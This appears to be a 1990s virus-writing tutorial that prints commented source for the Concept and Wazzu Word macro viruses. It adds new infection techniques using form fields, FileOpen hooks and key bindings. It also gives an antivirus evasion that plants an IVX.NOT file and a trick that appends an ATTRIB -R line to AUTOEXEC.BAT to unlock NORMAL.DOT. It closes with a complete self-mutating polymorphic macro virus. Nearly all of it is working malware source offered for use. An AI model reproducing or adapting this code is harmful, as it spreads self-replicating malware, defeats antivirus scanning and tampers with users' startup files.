Advanced Macro Virus
Techniques Issue #1
by Alchemy 
If you want to send a comment or suggestion then post a message to
alt.comp.virus, alt.comp.virus.source.code or to http://www.wcivr.com public
message board. Or come to Undernet's #virus.
              - Alchemy -
We'll first take a look at Concept and Wazzu to learn the basics and learn
some new techniques for using form fields and turning off read only NORMAL.DOT
We'll also look at a not very well known technique, FileOpen.
We'll look at true polymorphism for macro viruses.
Also, some hints and tips.
*****
I.  Here's Concept:
*****
AutoOpen and AAAZAO:
Sub MAIN
        On Error Goto Abort
        'If an error occurs, this bails out
        iMacroCount = CountMacros(0, 0)
        ' This counts the macros. The first 0 means the normal template and
        ' the second 0 means not to include
        ' built in commands. The second 0 could have been left out.
        ' This value is stored in iMacroCount where the i stands for integer.
        'see if we're already installed
        For i = 1 To iMacroCount
        ' This goes through each macro in the normal template.
                If MacroName$(i, 0, 0) = "PayLoad" Then
                ' If the macro being checked out has the name PayLoad, then
                ' set bInstalled to -1, where b stands for boolean.
                ' The i is the position, the 0 means the normal template, and
                ' the second 0 means not to include internal commands.
                ' The second 0 could have been left out.
                        bInstalled = - 1
                End If
                If MacroName$(i, 0, 0) = "FileSaveAs" Then
                ' Same as before.
                        bTooMuchTrouble = - 1
                End If
        Next I
        If Not bInstalled And Not bTooMuchTrouble Then
                ' Runs the infection routine if it isn't already installed and
                ' it isn't too much trouble.
                'add FileSaveAs and copies of AutoOpen and FileSaveAs.
                'PayLoad is just for fun.
                iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
                ' This is supposed to be a generation counter but it doesn't
                ' work.
                sMe$ = FileName$()
                ' This gets the name of the File in sMe$ where the s stands
                ' for string.
                sMacro$ = sMe$ + ":Payload"
                MacroCopy sMacro$, "Global:PayLoad"
                ' Copies Payload to global
                sMacro$ = sMe$ + ":AAAZFS"
                MacroCopy sMacro$, "Global:FileSaveAs"
                ' copies AAAZFS to Global:FileSaveAs
                sMacro$ = sMe$ + ":AAAZFS"
                MacroCopy sMacro$, "Global:AAAZFS"
                ' copies AAAZFS to global
                sMacro$ = sMe$ + ":AAAZAO"
                MacroCopy sMacro$, "Global:AAAZAO"
                ' copies AAAZAO to global AAAZAO
                SetProfileString "WW6I", Str$(iWW6IInstance + 1)
                ' This is also part of the generation counter which doesn't
                ' work.
                MsgBox Str$(iWW6IInstance + 1)
                'This causes the message box with the 1 in it
        End If
Abort:
End Sub
FileSaveAs and AAAZFS:
Sub MAIN
'this becomes the FileSaveAs for the global template
Dim dlg As FileSaveAs
' Makes the variable dlg be able to save a FileSaveAs dialog
On Error Goto bail
' Bails out if there's an error.
GetCurValues dlg
' Get the current values of the FileSaveAs dialog
Dialog dlg
' Displays the dialog
If dlg.Format = 0 Then dlg.Format = 1
' If the user saved it as a word document, then save it as a template, which
' can contain macros.
sMe$ = FileName$()
' Get the name of the file.
sTMacro$ = sMe$ + ":AutoOpen"
MacroCopy "Global:AAAZAO", sTMacro$
sTMacro$ = sMe$ + ":AAAZAO"
MacroCopy "Global:AAAZAO", sTMacro$
sTMacro$ = sMe$ + ":AAAZFS"
MacroCopy "Global:AAAZFS", sTMacro$
sTMacro$ = sMe$ + ":PayLoad"
MacroCopy "Global:PayLoad", sTMacro$
' Do the copying
FileSaveAs dlg
' Do the actual saving
Goto Done
Bail:
If Err <> 102 Then
        FileSaveAs dlg
End If
' If the user didn't press cancel, then save the document even though it
' couldn't be infected.
Done:
End Sub
Payload:
Sub MAIN
        REM That's enough to prove my point
End Sub
' Here's one of the strangest macros. What is its purpose?
' It's an infection marker but it's not necessary because Concept won't
' reinfect because of the FileSaveAs macro.
' What point is the author making?
' Perhaps it was a Microsoft employee trying to prove to his superiors that
' the Word Macro language was too powerful.
' Perhaps someone trying to prove that a virus can infect a "data file".
' Perhaps someone trying to show that a certain antivirus program can't detect
' all viruses.
*****
II. Here's Wazzu:
*****
Sub MAIN
        On Error Goto errCaught
        ' Bails out if an error
        FileSummaryInfo .Update
        ' Updates the FileSummaryInfo
        Dim dlg As FileSummaryInfo
        ' Prepares dlg for FileSummaryInfo
        GetCurValues dlg
        'Get the current values of the dialog.
        fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
        ' Adds the directory plus the filename plus the macro name
        globMacro$ = "Global:autoOpen"
        MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))
        ' MacroName$(0) returns the most current macro
        ' MacroFileName$ returns the file which contains it
        ' Right$ returns the last 10 letters. "NORMAL.DOT" is 10 letters long.
        ' Ucase$ converts it into uppercase
        If MacroFile$ = "NORMAL.DOT" Then
        ' If the macro that's running is in NORMAL.DOT, then it's time to
        ' infect the file being opened.
                MacroCopy globMacro$, fileMacro$
                FileSaveAs .Format = 1
        Else
                MacroCopy fileMacro$, globMacro$
        ' Otherwise, infect NORMAL.DOT
        End If
Goto bye
errCaught:
bye:
        On Error Goto 0
' Just junk. I cut out the payload because it isn't important.
End Sub
*****
III. Here's how to use Form Fields:
*****
This is the first macro virus to use Form Fields except for Reflex, but:
1. Only the AV have Reflex
2. Reflex is too buggy to replicate
Sub MAIN
On Error Goto errcaught
If UCase$(Right$(MacroFileName$(MacroName$(0)), 10)) = "NORMAL.DOT" Then
' See Wazzu
        For i = 1 To CountMacros(1)
                If MacroName$(i, 1) = "A" Then installed = 1
        Next I
        ' See Concept
        If installed = 0 Then
                MacroCopy "Global:AutoClose", WindowName$() + ":A"
                ' WindowName$ acts like FileName$
                FileSaveAs .Format = 1
                InsertFormField .Entry = "A", .Exit = "", .Enable = 1,
                .TextType = 0, .TextWidth = "0", .TextDefault = "",
                .TextFormat = "", .Type = 0, .OwnHelp = 0, .HelpText = "",
                .OwnStat = 0, .StatText = ""
                ' This is one really long line.
                ' Insert a form field and link it to the macro "A"
        End If
        ToolsProtectDocument .DocumentPassword = "", .NoReset = 0, .Type = 2
        ' Protect the document. Links to Form Fields don't work unless you
        ' protect the document.
Else
        ToolsUnprotectDocument
        ' When an infected document is opened, it needs to be unprotected so
        ' the person can work on it.
        MacroCopy WindowName$() + ":A", "Global:AutoClose"
        ' It needs to be protected again when the document is closed, so we
        ' copy to AutoClose.
End If
errcaught:
End Sub
*****
IV. Security holes
*****
1. Security hole in IVX.
If a directory contains a file called IVX.NOT, the entire directory is
skipped.
See section VI for an example on how to use this.
Sub AID(S$)
        iv$ = FileNameInfo$(S$, 5) + "IVX.NOT"
        Open iv$ For Output As #1
        Close #1
End Sub
2. Security hole that allows a virus to disable read-only.
A virus can't turn off the read only attribute while it's running,
so it needs to be done indirectly.
Sub ANDROID
        nd$ = DefaultDir$(2)
        Open "C:\AUTOEXEC.BAT" For Input As #1
        While Not Eof(1)
                Line Input #1, y$
                If InStr(y$, nd$) <> 0 Then r = - 1
        Wend
        Close #1
        If Not r Then
                nd$ = nd$ + "\NORMAL.DOT"
                Open "C:\AUTOEXEC.BAT" For Append As #1
                Print #1, "@ATTRIB -R " + ND$ + " > NUL"
                Close #1
        End If
End Sub
See the polymorphic macro virus later on for an example of how to use them.
*****
V. How to use FileOpen
*****
Sub Main
' This macro is fairly self explanatory. Just check out wazzu or Concept if
' you're not sure about some command.
Already = 0
For j = 1 To CountMacros(0, 0)
        If MacroName$(j, 0, 0) = "FileOpen" Then Already = 1
Next j
If already = 0 Then MacroCopy FileName$() + ":FileOpen", "Global:FileOpen"
Dim dlg As FileOpen
GetCurValues dlg
Dialog dlg
FileOpen dlg
Dim DlgFS As FileSaveAs
GetCurValues DlgFS
DlgFS.Format = 1
Already = 0
For j = 1 To CountMacros(1, 0)
        If MacroName$(j, 1, 0) = "FileOpen" Then Already = 1
Next j
If already = 0 Then MacroCopy "Global:FileOpen", FileName$() + ":FileOpen"
FileSaveAs DlgFS
End Sub
*****
VI. Polymorphism
*****
By using ToolsMacro .Edit, one can get full polymorphism.
You can't edit a macro while it's running.
-You could insert random strings or numbers.
-You could change case.
-You could use a different form of command depending on rnd().
-You could use search and replace.
-You could add a random amount of enters.
Here's an example virus of these techniques.
Sub MAIN
On Error Goto Abort
For i = 1 To CountMacros(0)
        If MacroName$(i, 0) = "FileSaveAs" Then b = - 1
Next i
If Not b Then
        DisableInput
        ToolsOptionsSave .GlobalDotPrompt = 0
        ScreenUpdating 0
        jqp$ = FileName$()
        MacroCopy jqp$ + ":AutoOpen", "Global:GGMZW"
        ToolsMacro .Name = "GGMZW", .Edit, .Show = 0
        EditReplace .Find = "GGMZW", .Replace = junk$(0), .Direction = 0,
        .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0,
        .ReplaceAll, .Format = 0, .Wrap = 1
        ' This is one long line
        EditReplace .Find = "jqp$", .Replace = junk$(1), .Direction = 0,
        .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0,
        .ReplaceAll, .Format = 0, .Wrap = 1
        ' This is one long line
        EditSelectAll
        FormatChangeCase .Type = Int(Rnd() * 5)
        StartOfDocument
        ParaDown Int(Rnd() * 50) + 1
        Insert "'1 Gen"
        InsertPara
        DocClose 1
        ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 0
        StartOfLine
        LineUp 1
        pmorf(" on error goto abort ")
        LineDown 1
        pmorf(" dlg.format = 1 ")
        pmorf(" jqp$ = filename$ ( ) ")
        Insert "macrocopy " + Chr$(34) + "Global:GGMZW" + Chr$(34) +
        ",jqp$+" + Chr$(34) +      ":AutoOpen" + Chr$(34)
        'This is one long line
        InsertPara
        LineDown 1
        pmorf("abort: ")
        DocClose 1
        ANDROID
End If
AID(jqp$)
Abort:
End Sub
Function junk$(yesno)
        For i = 1 To Int(Rnd() * 6) + 6
                x$ = Chr$(Int(Rnd() * 26) + 97)
                If Rnd() > 0.5 Then x$ = UCase$(x$)
                bit$ = bit$ + x$
        Next i
        If yesno = 1 Then bit$ = bit$ + "$"
        junk$ = bit$
End Function
Sub AID(S$)
        iv$ = FileNameInfo$(S$, 5) + "IVX.NOT"
        Open iv$ For Output As #1
        Close #1
End Sub
Sub ANDROID
        nd$ = DefaultDir$(2)
        Open "C:\AUTOEXEC.BAT" For Input As #1
        While Not Eof(1)
                Line Input #1, y$
                If InStr(y$, nd$) <> 0 Then r = - 1
        Wend
        Close #1
        If Not r Then
                nd$ = nd$ + "\NORMAL.DOT"
                Open "C:\AUTOEXEC.BAT" For Append As #1
                Print #1, "@ATTRIB -R " + ND$ + " > NUL"
                Close #1
        End If
End Sub
Sub pmorf(t$)
        For i = 1 To Len(t$)
                If Mid$(t$, i, 1) = " " Then
                        u$ = u$ + String$(Int(Rnd() * 5) + 1, " ")
                Else
                        u$ = u$ + Mid$(t$, i, 1)
                End If
        Next i
        u$ = u$ + "'" + junk$(0)
        Insert u$
        For i = 1 To Int(Rnd() * 5) + 1
                InsertPara
        Next i
End Sub
*****
VII. Something annoying
*****
Sometimes I see this:
i=CountMacros(0,0)
If i<>0 Then '*
        For j=1 To i
        If MacroName$(j,0,0) = ...
        Next J
        ...
End If '*
This is code to see if NORMAL.DOT is already infected.
The probem is the lines marked with '*
They're totally unnecessary. If to initial value of a for loop is false, then
it's skipped, which is what you wanted.
*****
VIII. Helpful hint
*****
If you're trying to do something but can't figure out how, try the macro
recorder and then examine the output. Or you could try the very good help
file. It even comes with examples.
*****
IX. How to link a macro to a key.
*****
In this example, we link the macro "y" to the key Page Down.
Sub MAIN
On Error Goto errCaught
f$ = FileName$() + ":y"
g$ = "Global:y"
If UCase$(Right$(MacroFileName$(MacroName$(0)), 10)) = "NORMAL.DOT" Then
        MacroCopy g$, f$
        ToolsCustomizeKeyboard .KeyCode = 34, .Category = 2, .Name = "y",
        .Add, .Context = 1
        'This is one long line
        '34 is the KeyCode for Page Down
        FileSaveAs .Format = 1
Else
        MacroCopy f$, g$
        ToolsCustomizeKeyboard .KeyCode = 34, .Category = 2, .Name = "y",
        .Add, .Context = 0
        ' This is one long line
End If
errcaught:
End Sub